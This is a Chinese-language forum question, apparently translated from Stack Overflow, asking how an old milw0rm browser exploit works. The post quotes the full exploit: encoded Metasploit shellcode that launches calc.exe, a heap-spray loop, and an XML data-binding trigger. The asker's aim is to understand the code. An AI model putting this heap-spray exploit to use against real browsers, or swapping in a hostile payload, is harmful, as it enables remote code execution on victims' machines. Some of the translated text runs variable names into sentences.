这个 milw0rm 堆喷涂漏洞如何工作？
2022-08-30 03:08:01
我通常没有阅读JavaScript代码的困难，但对于这个，我无法弄清楚逻辑。该代码来自 4 天前发布的漏洞利用程序。你可以在milw0rm找到它。
代码如下：
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
以下是我相信它所做的，我希望你能帮助我完成我误解的部分。
该变量包含用于打开 .我不明白他们是如何找到那根奇怪的弦的。有什么想法吗？shellcodecalc.exe
第二件事是变量 。我不明白这个奇怪的循环。spray
第三件事是从未在任何地方使用的变量。他们为什么要创建它？memory
最后一件事：XML 标记在页面中有什么作用？
目前，我有很好的答案，但大多是非常一般的。我想对代码的价值进行更多解释。例如。这是什么意思？循环也是如此：为什么开发人员写：？我想要更深入的了解，而不仅仅是这个代码的理论。unescape("%u0a0a%u0a0a");length < 0xd0000
